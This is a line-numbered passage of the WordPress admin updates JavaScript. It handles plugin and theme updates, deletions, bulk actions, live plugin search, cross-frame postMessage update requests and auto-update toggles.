2746 } );
2747
2748 /**
2749 * Click handler for theme updates.
2750 *
2751 * @since 4.6.0
2752 *
2753 * @param {Event} event Event interface.
2754 */
2755 $document.on( 'click', '.themes-php.network-admin .update-link', function( event ) {
2756 var $message = $( event.target ),
2757 $themeRow = $message.parents( 'tr' );
2758
2759 event.preventDefault();
2760
2761 if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
2762 return;
2763 }
2764
2765 wp.updates.maybeRequestFilesystemCredentials( event );
2766
2767 // Return the user to the input box of the theme's table row after closing the modal.
2768 wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( '.check-column input' );
2769 wp.updates.updateTheme( {
2770 slug: $themeRow.data( 'slug' )
2771 } );
2772 } );
2773
2774 /**
2775 * Click handler for theme deletions.
2776 *
2777 * @since 4.6.0
2778 *
2779 * @param {Event} event Event interface.
2780 */
2781 $document.on( 'click', '.themes-php.network-admin a.delete', function( event ) {
2782 var $themeRow = $( event.target ).parents( 'tr' ),
2783 confirmMessage = sprintf(
2784 /* translators: %s: Theme name. */
2785 __( 'Are you sure you want to delete %s?' ),
2786 $themeRow.find( '.theme-title strong' ).text()
2787 );
2788
2789 event.preventDefault();
2790
2791 if ( ! window.confirm( confirmMessage ) ) {
2792 return;
2793 }
2794
2795 wp.updates.maybeRequestFilesystemCredentials( event );
2796
2797 wp.updates.deleteTheme( {
2798 slug: $themeRow.data( 'slug' )
2799 } );
2800 } );
2801
2802 /**
2803 * Bulk action handler for plugins and themes.
2804 *
2805 * Handles both deletions and updates.
2806 *
2807 * @since 4.6.0
2808 *
2809 * @param {Event} event Event interface.
2810 */
2811 $bulkActionForm.on( 'click', '[type="submit"]:not([name="clear-recent-list"])', function( event ) {
2812 var bulkAction = $( event.target ).siblings( 'select' ).val(),
2813 itemsSelected = $bulkActionForm.find( 'input[name="checked[]"]:checked' ),
2814 success = 0,
2815 error = 0,
2816 errorMessages = [],
2817 type, action;
2818
2819 // Determine which type of item we're dealing with.
2820 switch ( pagenow ) {
2821 case 'plugins':
2822 case 'plugins-network':
2823 type = 'plugin';
2824 break;
2825
2826 case 'themes-network':
2827 type = 'theme';
2828 break;
2829
2830 default:
2831 return;
2832 }
2833
2834 // Bail if there were no items selected.
2835 if ( ! itemsSelected.length ) {
2836 bulkAction = false;
2837 }
2838
2839 // Determine the type of request we're dealing with.
2840 switch ( bulkAction ) {
2841 case 'update-selected':
2842 action = bulkAction.replace( 'selected', type );
2843 break;
2844
2845 case 'delete-selected':
2846 var confirmMessage = 'plugin' === type ?
2847 __( 'Are you sure you want to delete the selected plugins and their data?' ) :
2848 __( 'Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?' );
2849
2850 if ( ! window.confirm( confirmMessage ) ) {
2851 event.preventDefault();
2852 return;
2853 }
2854
2855 action = bulkAction.replace( 'selected', type );
2856 break;
2857
2858 default:
2859 return;
2860 }
2861
2862 wp.updates.maybeRequestFilesystemCredentials( event );
2863
2864 event.preventDefault();
2865
2866 // Un-check the bulk checkboxes.
2867 $bulkActionForm.find( '.manage-column [type="checkbox"]' ).prop( 'checked', false );
2868
2869 $document.trigger( 'wp-' + type + '-bulk-' + bulkAction, itemsSelected );
2870
2871 // Find all the checkboxes which have been checked.
2872 itemsSelected.each( function( index, element ) {
2873 var $checkbox = $( element ),
2874 $itemRow = $checkbox.parents( 'tr' );
2875
2876 // Only add update-able items to the update queue.
2877 if ( 'update-selected' === bulkAction && ( ! $itemRow.hasClass( 'update' ) || $itemRow.find( 'notice-error' ).length ) ) {
2878
2879 // Un-check the box.
2880 $checkbox.prop( 'checked', false );
2881 return;
2882 }
2883
2884 // Don't add items to the update queue again, even if the user clicks the update button several times.
2885 if ( 'update-selected' === bulkAction && $itemRow.hasClass( 'is-enqueued' ) ) {
2886 return;
2887 }
2888
2889 $itemRow.addClass( 'is-enqueued' );
2890
2891 // Add it to the queue.
2892 wp.updates.queue.push( {
2893 action: action,
2894 data: {
2895 plugin: $itemRow.data( 'plugin' ),
2896 slug: $itemRow.data( 'slug' )
2897 }
2898 } );
2899 } );
2900
2901 // Display bulk notification for updates of any kind.
2902 $document.on( 'wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error', function( event, response ) {
2903 var $itemRow = $( '[data-slug="' + response.slug + '"]' ),
2904 $bulkActionNotice, itemName;
2905
2906 if ( 'wp-' + response.update + '-update-success' === event.type ) {
2907 success++;
2908 } else {
2909 itemName = response.pluginName ? response.pluginName : $itemRow.find( '.column-primary strong' ).text();
2910
2911 error++;
2912 errorMessages.push( itemName + ': ' + response.errorMessage );
2913 }
2914
2915 $itemRow.find( 'input[name="checked[]"]:checked' ).prop( 'checked', false );
2916
2917 wp.updates.adminNotice = wp.template( 'wp-bulk-updates-admin-notice' );
2918
2919 var successMessage = null;
2920
2921 if ( success ) {
2922 if ( 'plugin' === response.update ) {
2923 successMessage = sprintf(
2924 /* translators: %s: Number of plugins. */
2925 _n( '%s plugin successfully updated.', '%s plugins successfully updated.', success ),
2926 success
2927 );
2928 } else {
2929 successMessage = sprintf(
2930 /* translators: %s: Number of themes. */
2931 _n( '%s theme successfully updated.', '%s themes successfully updated.', success ),
2932 success
2933 );
2934 }
2935 }
2936
2937 var errorMessage = null;
2938
2939 if ( error ) {
2940 errorMessage = sprintf(
2941 /* translators: %s: Number of failed updates. */
2942 _n( '%s update failed.', '%s updates failed.', error ),
2943 error
2944 );
2945 }
2946
2947 wp.updates.addAdminNotice( {
2948 id: 'bulk-action-notice',
2949 className: 'bulk-action-notice',
2950 successMessage: successMessage,
2951 errorMessage: errorMessage,
2952 errorMessages: errorMessages,
2953 type: response.update
2954 } );
2955
2956 $bulkActionNotice = $( '#bulk-action-notice' ).on( 'click', 'button', function() {
2957 // $( this ) is the clicked button, no need to get it again.
2958 $( this )
2959 .toggleClass( 'bulk-action-errors-collapsed' )
2960 .attr( 'aria-expanded', ! $( this ).hasClass( 'bulk-action-errors-collapsed' ) );
2961 // Show the errors list.
2962 $bulkActionNotice.find( '.bulk-action-errors' ).toggleClass( 'hidden' );
2963 } );
2964
2965 if ( error > 0 && ! wp.updates.queue.length ) {
2966 $( 'html, body' ).animate( { scrollTop: 0 } );
2967 }
2968 } );
2969
2970 // Reset admin notice template after #bulk-action-notice was added.
2971 $document.on( 'wp-updates-notice-added', function() {
2972 wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );
2973 } );
2974
2975 // Check the queue, now that the event handlers have been added.
2976 wp.updates.queueChecker();
2977 } );
2978
2979 if ( $pluginInstallSearch.length ) {
2980 $pluginInstallSearch.attr( 'aria-describedby', 'live-search-desc' );
2981 }
2982
2983 // Track the previous search string length.
2984 var previousSearchStringLength = 0;
2985 wp.updates.shouldSearch = function( searchStringLength ) {
2986 var shouldSearch = searchStringLength >= wp.updates.searchMinCharacters ||
2987 previousSearchStringLength > wp.updates.searchMinCharacters;
2988 previousSearchStringLength = searchStringLength;
2989 return shouldSearch;
2990 };
2991
2992 /**
2993 * Handles changes to the plugin search box on the new-plugin page,
2994 * searching the repository dynamically.
2995 *
2996 * @since 4.6.0
2997 */
2998 $pluginInstallSearch.on( 'keyup input', _.debounce( function( event, eventtype ) {
2999 var $searchTab = $( '.plugin-install-search' ), data, searchLocation,
3000 searchStringLength = $pluginInstallSearch.val().length;
3001
3002 data = {
3003 _ajax_nonce: wp.updates.ajaxNonce,
3004 s: encodeURIComponent( event.target.value ),
3005 tab: 'search',
3006 type: $( '#typeselector' ).val(),
3007 pagenow: pagenow
3008 };
3009 searchLocation = location.href.split( '?' )[ 0 ] + '?' + $.param( _.omit( data, [ '_ajax_nonce', 'pagenow' ] ) );
3010
3011 // Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in.
3012 if ( wp.updates.shouldSearch( searchStringLength ) ) {
3013 $pluginInstallSearch.attr( 'autocomplete', 'off' );
3014 } else {
3015 $pluginInstallSearch.attr( 'autocomplete', 'on' );
3016 return;
3017 }
3018
3019 // Clear on escape.
3020 if ( 'keyup' === event.type && 27 === event.which ) {
3021 event.target.value = '';
3022 }
3023
3024 if ( wp.updates.searchTerm === data.s && 'typechange' !== eventtype ) {
3025 return;
3026 } else {
3027 $pluginFilter.empty();
3028 wp.updates.searchTerm = data.s;
3029 }
3030
3031 if ( window.history && window.history.replaceState ) {
3032 window.history.replaceState( null, '', searchLocation );
3033 }
3034
3035 if ( ! $searchTab.length ) {
3036 $searchTab = $( '<li class="plugin-install-search" />' )
3037 .append( $( '<a />', {
3038 'class': 'current',
3039 'href': searchLocation,
3040 'text': __( 'Search Results' )
3041 } ) );
3042
3043 $( '.wp-filter .filter-links .current' )
3044 .removeClass( 'current' )
3045 .parents( '.filter-links' )
3046 .prepend( $searchTab );
3047
3048 $pluginFilter.prev( 'p' ).remove();
3049 $( '.plugins-popular-tags-wrapper' ).remove();
3050 }
3051
3052 if ( 'undefined' !== typeof wp.updates.searchRequest ) {
3053 wp.updates.searchRequest.abort();
3054 }
3055 $( 'body' ).addClass( 'loading-content' );
3056
3057 wp.updates.searchRequest = wp.ajax.post( 'search-install-plugins', data ).done( function( response ) {
3058 $( 'body' ).removeClass( 'loading-content' );
3059 $pluginFilter.append( response.items );
3060 delete wp.updates.searchRequest;
3061
3062 if ( 0 === response.count ) {
3063 wp.a11y.speak( __( 'You do not appear to have any plugins available at this time.' ) );
3064 } else {
3065 wp.a11y.speak(
3066 sprintf(
3067 /* translators: %s: Number of plugins. */
3068 __( 'Number of plugins found: %d' ),
3069 response.count
3070 )
3071 );
3072 }
3073 } );
3074 }, 1000 ) );
3075
3076 if ( $pluginSearch.length ) {
3077 $pluginSearch.attr( 'aria-describedby', 'live-search-desc' );
3078
3079 }
3080
3081 /**
3082 * Handles changes to the plugin search box on the Installed Plugins screen,
3083 * searching the plugin list dynamically.
3084 *
3085 * @since 4.6.0
3086 */
3087 $pluginSearch.on( 'keyup input', _.debounce( function( event ) {
3088 var data = {
3089 _ajax_nonce: wp.updates.ajaxNonce,
3090 s: encodeURIComponent( event.target.value ),
3091 pagenow: pagenow,
3092 plugin_status: 'all'
3093 },
3094 queryArgs,
3095 searchStringLength = $pluginSearch.val().length;
3096
3097 // Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in.
3098 if ( wp.updates.shouldSearch( searchStringLength ) ) {
3099 $pluginSearch.attr( 'autocomplete', 'off' );
3100 } else {
3101 $pluginSearch.attr( 'autocomplete', 'on' );
3102 return;
3103 }
3104
3105 // Clear on escape.
3106 if ( 'keyup' === event.type && 27 === event.which ) {
3107 event.target.value = '';
3108 }
3109
3110 if ( wp.updates.searchTerm === data.s ) {
3111 return;
3112 } else {
3113 wp.updates.searchTerm = data.s;
3114 }
3115
3116 queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( '&' ), function( item ) {
3117 if ( item ) return item.split( '=' );
3118 } ) ) );
3119
3120 data.plugin_status = queryArgs.plugin_status || 'all';
3121
3122 if ( window.history && window.history.replaceState ) {
3123 window.history.replaceState( null, '', location.href.split( '?' )[ 0 ] + '?s=' + data.s + '&plugin_status=' + data.plugin_status );
3124 }
3125
3126 if ( 'undefined' !== typeof wp.updates.searchRequest ) {
3127 wp.updates.searchRequest.abort();
3128 }
3129
3130 $bulkActionForm.empty();
3131 $( 'body' ).addClass( 'loading-content' );
3132 $( '.subsubsub .current' ).removeClass( 'current' );
3133
3134 wp.updates.searchRequest = wp.ajax.post( 'search-plugins', data ).done( function( response ) {
3135
3136 // Can we just ditch this whole subtitle business?
3137 var $subTitle = $( '<span />' ).addClass( 'subtitle' ).html(
3138 sprintf(
3139 /* translators: %s: Search query. */
3140 __( 'Search results for: %s' ),
3141 '<strong>' + _.escape( decodeURIComponent( data.s ) ) + '</strong>'
3142 ) ),
3143 $oldSubTitle = $( '.wrap .subtitle' );
3144
3145 if ( ! data.s.length ) {
3146 $oldSubTitle.remove();
3147 $( '.subsubsub .' + data.plugin_status + ' a' ).addClass( 'current' );
3148 } else if ( $oldSubTitle.length ) {
3149 $oldSubTitle.replaceWith( $subTitle );
3150 } else {
3151 $( '.wp-header-end' ).before( $subTitle );
3152 }
3153
3154 $( 'body' ).removeClass( 'loading-content' );
3155 $bulkActionForm.append( response.items );
3156 delete wp.updates.searchRequest;
3157
3158 if ( 0 === response.count ) {
3159 wp.a11y.speak( __( 'No plugins found. Try a different search.' ) );
3160 } else {
3161 wp.a11y.speak(
3162 sprintf(
3163 /* translators: %s: Number of plugins. */
3164 __( 'Number of plugins found: %d' ),
3165 response.count
3166 )
3167 );
3168 }
3169 } );
3170 }, 500 ) );
3171
3172 /**
3173 * Trigger a search event when the search form gets submitted.
3174 *
3175 * @since 4.6.0
3176 */
3177 $document.on( 'submit', '.search-plugins', function( event ) {
3178 event.preventDefault();
3179
3180 $( 'input.wp-filter-search' ).trigger( 'input' );
3181 } );
3182
3183 /**
3184 * Trigger a search event when the "Try Again" button is clicked.
3185 *
3186 * @since 4.9.0
3187 */
3188 $document.on( 'click', '.try-again', function( event ) {
3189 event.preventDefault();
3190 $pluginInstallSearch.trigger( 'input' );
3191 } );
3192
3193 /**
3194 * Trigger a search event when the search type gets changed.
3195 *
3196 * @since 4.6.0
3197 */
3198 $( '#typeselector' ).on( 'change', function() {
3199 var $search = $( 'input[name="s"]' );
3200
3201 if ( $search.val().length ) {
3202 $search.trigger( 'input', 'typechange' );
3203 }
3204 } );
3205
3206 /**
3207 * Click handler for updating a plugin from the details modal on `plugin-install.php`.
3208 *
3209 * @since 4.2.0
3210 *
3211 * @param {Event} event Event interface.
3212 */
3213 $( '#plugin_update_from_iframe' ).on( 'click', function( event ) {
3214 var target = window.parent === window ? null : window.parent,
3215 update;
3216
3217 $.support.postMessage = !! window.postMessage;
3218
3219 if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'update-core.php' ) ) {
3220 return;
3221 }
3222
3223 event.preventDefault();
3224
3225 update = {
3226 action: 'update-plugin',
3227 data: {
3228 plugin: $( this ).data( 'plugin' ),
3229 slug: $( this ).data( 'slug' )
3230 }
3231 };
3232
3233 target.postMessage( JSON.stringify( update ), window.location.origin );
3234 } );
3235
3236 /**
3237 * Handles postMessage events.
3238 *
3239 * @since 4.2.0
3240 * @since 4.6.0 Switched `update-plugin` action to use the queue.
3241 *
3242 * @param {Event} event Event interface.
3243 */
3244 $( window ).on( 'message', function( event ) {
3245 var originalEvent = event.originalEvent,
3246 expectedOrigin = document.location.protocol + '//' + document.location.host,
3247 message;
3248
3249 if ( originalEvent.origin !== expectedOrigin ) {
3250 return;
3251 }
3252
3253 try {
3254 message = JSON.parse( originalEvent.data );
3255 } catch ( e ) {
3256 return;
3257 }
3258
3259 if ( ! message ) {
3260 return;
3261 }
3262
3263 if (
3264 'undefined' !== typeof message.status &&
3265 'undefined' !== typeof message.slug &&
3266 'undefined' !== typeof message.text &&
3267 'undefined' !== typeof message.ariaLabel
3268 ) {
3269 var $card = $( '.plugin-card-' + message.slug ),
3270 $message = $card.find( '[data-slug="' + message.slug + '"]' );
3271
3272 if ( 'undefined' !== typeof message.removeClasses ) {
3273 $message.removeClass( message.removeClasses );
3274 }
3275
3276 if ( 'undefined' !== typeof message.addClasses ) {
3277 $message.addClass( message.addClasses );
3278 }
3279
3280 if ( '' === message.ariaLabel ) {
3281 $message.removeAttr( 'aria-label' );
3282 } else {
3283 $message.attr( 'aria-label', message.ariaLabel );
3284 }
3285
3286 if ( 'dependencies-check-success' === message.status ) {
3287 $message
3288 .attr( 'data-name', message.pluginName )
3289 .attr( 'data-slug', message.slug )
3290 .attr( 'data-plugin', message.plugin )
3291 .attr( 'href', message.href );
3292 }
3293
3294 $message.text( message.text );
3295 }
3296
3297 if ( 'undefined' === typeof message.action ) {
3298 return;
3299 }
3300
3301 switch ( message.action ) {
3302
3303 // Called from `wp-admin/includes/class-wp-upgrader-skins.php`.
3304 case 'decrementUpdateCount':
3305 /** @property {string} message.upgradeType */
3306 wp.updates.decrementCount( message.upgradeType );
3307 break;
3308
3309 case 'install-plugin':
3310 case 'update-plugin':
3311 if ( 'undefined' === typeof message.data || 'undefined' === typeof message.data.slug ) {
3312 return;
3313 }
3314
3315 message.data = wp.updates._addCallbacks( message.data, message.action );
3316
3317 wp.updates.queue.push( message );
3318 wp.updates.queueChecker();
3319 break;
3320 }
3321 } );
3322
3323 /**
3324 * Adds a callback to display a warning before leaving the page.
3325 *
3326 * @since 4.2.0
3327 */
3328 $( window ).on( 'beforeunload', wp.updates.beforeunload );
3329
3330 /**
3331 * Prevents the page form scrolling when activating auto-updates with the Spacebar key.
3332 *
3333 * @since 5.5.0
3334 */
3335 $document.on( 'keydown', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) {
3336 if ( 32 === event.which ) {
3337 event.preventDefault();
3338 }
3339 } );
3340
3341 /**
3342 * Click and keyup handler for enabling and disabling plugin and theme auto-updates.
3343 *
3344 * These controls can be either links or buttons. When JavaScript is enabled,
3345 * we want them to behave like buttons. An ARIA role `button` is added via
3346 * the JavaScript that targets elements with the CSS class `aria-button-if-js`.
3347 *
3348 * @since 5.5.0
3349 */
3350 $document.on( 'click keyup', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) {
3351 var data, asset, type, $parent,
3352 $toggler = $( this ),
3353 action = $toggler.attr( 'data-wp-action' ),
3354 $label = $toggler.find( '.label' );
3355
3356 if ( 'keyup' === event.type && 32 !== event.which ) {
3357 return;
3358 }
3359
3360 if ( 'themes' !== pagenow ) {
3361 $parent = $toggler.closest( '.column-auto-updates' );
3362 } else {
3363 $parent = $toggler.closest( '.theme-autoupdate' );
3364 }
3365
3366 event.preventDefault();
3367
3368 // Prevent multiple simultaneous requests.
3369 if ( $toggler.attr( 'data-doing-ajax' ) === 'yes' ) {
3370 return;
3371 }
3372
3373 $toggler.attr( 'data-doing-ajax', 'yes' );
3374
3375 switch ( pagenow ) {
3376 case 'plugins':
3377 case 'plugins-network':
3378 type = 'plugin';
3379 asset = $toggler.closest( 'tr' ).attr( 'data-plugin' );
3380 break;
3381 case 'themes-network':
3382 type = 'theme';
3383 asset = $toggler.closest( 'tr' ).attr( 'data-slug' );
3384 break;
3385 case 'themes':
3386 type = 'theme';
3387 asset = $toggler.attr( 'data-slug' );
3388 break;
3389 }
3390
3391 // Clear any previous errors.
3392 $parent.find( '.notice.notice-error' ).addClass( 'hidden' );
3393
3394 // Show loading status.
3395 if ( 'enable' === action ) {
3396 $label.text( __( 'Enabling...' ) );
3397 } else {
3398 $label.text( __( 'Disabling...' ) );
3399 }
3400
3401 $toggler.find( '.dashicons-update' ).removeClass( 'hidden' );
3402
3403 data = {
3404 action: 'toggle-auto-updates',
3405 _ajax_nonce: settings.ajax_nonce,
3406 state: action,
3407 type: type,
3408 asset: asset
3409 };
3410
3411 $.post( window.ajaxurl, data )
3412 .done( function( response ) {
3413 var $enabled, $disabled, enabledNumber, disabledNumber, errorMessage,
3414 href = $toggler.attr( 'href' );
3415
3416 if ( ! response.success ) {
3417 // if WP returns 0 for response (which can happen in a few cases),
3418 // output the general error message since we won't have response.data.error.
3419 if ( response.data && response.data.error ) {
3420 errorMessage = response.data.error;
3421 } else {
3422 errorMessage = __( 'The request could not be completed.' );
3423 }
3424
3425 $parent.find( '.notice.notice-error' ).removeClass( 'hidden' ).find( 'p' ).text( errorMessage );
3426 wp.a11y.speak( errorMessage, 'assertive' );
3427 return;
3428 }
3429
3430 // Update the counts in the enabled/disabled views if on a screen
3431 // with a list table.
3432 if ( 'themes' !== pagenow ) {
3433 $enabled = $( '.auto-update-enabled span' );
3434 $disabled = $( '.auto-update-disabled span' );
3435 enabledNumber = parseInt( $enabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0;
3436 disabledNumber = parseInt( $disabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0;
3437
3438 switch ( action ) {
3439 case 'enable':
3440 ++enabledNumber;
3441 --disabledNumber;
3442 break;
3443 case 'disable':
3444 --enabledNumber;
3445 ++disabledNumber;
3446 break;
3447 }
3448
3449 enabledNumber = Math.max( 0, enabledNumber );
3450 disabledNumber = Math.max( 0, disabledNumber );
3451
3452 $enabled.text( '(' + enabledNumber + ')' );
3453 $disabled.text( '(' + disabledNumber + ')' );
3454 }
3455
3456 if ( 'enable' === action ) {
3457 // The toggler control can be either a link or a button.
3458 if ( $toggler[ 0 ].hasAttribute( 'href' ) ) {
3459 href = href.replace( 'action=enable-auto-update', 'action=disable-auto-update' );
3460 $toggler.attr( 'href', href );
3461 }
3462 $toggler.attr( 'data-wp-action', 'disable' );
3463
3464 $label.text( __( 'Disable auto-updates' ) );
3465 $parent.find( '.auto-update-time' ).removeClass( 'hidden' );
3466 wp.a11y.speak( __( 'Auto-updates enabled' ) );
3467 } else {
3468 // The toggler control can be either a link or a button.
3469 if ( $toggler[ 0 ].hasAttribute( 'href' ) ) {
3470 href = href.replace( 'action=disable-auto-update', 'action=enable-auto-update' );
3471 $toggler.attr( 'href', href );
3472 }
3473 $toggler.attr( 'data-wp-action', 'enable' );
3474
3475 $label.text( __( 'Enable auto-updates' ) );
3476 $parent.find( '.auto-update-time' ).addClass( 'hidden' );
3477 wp.a11y.speak( __( 'Auto-updates disabled' ) );
3478 }
3479
3480 $document.trigger( 'wp-auto-update-setting-changed', { state: action, type: type, asset: asset } );
3481 } )
3482 .fail( function() {
3483 $parent.find( '.notice.notice-error' )
3484 .removeClass( 'hidden' )
3485 .find( 'p' )
3486 .text( __( 'The request could not be completed.' ) );
3487
3488 wp.a11y.speak( __( 'The request could not be completed.' ), 'assertive' );
3489 } )
3490 .always( function() {
3491 $toggler.removeAttr( 'data-doing-ajax' ).find( '.dashicons-update' ).addClass( 'hidden' );
3492 } );
3493 }
3494 );
3495 } );
3496})( jQuery, window.wp, window._wpUpdatesSettings );
3497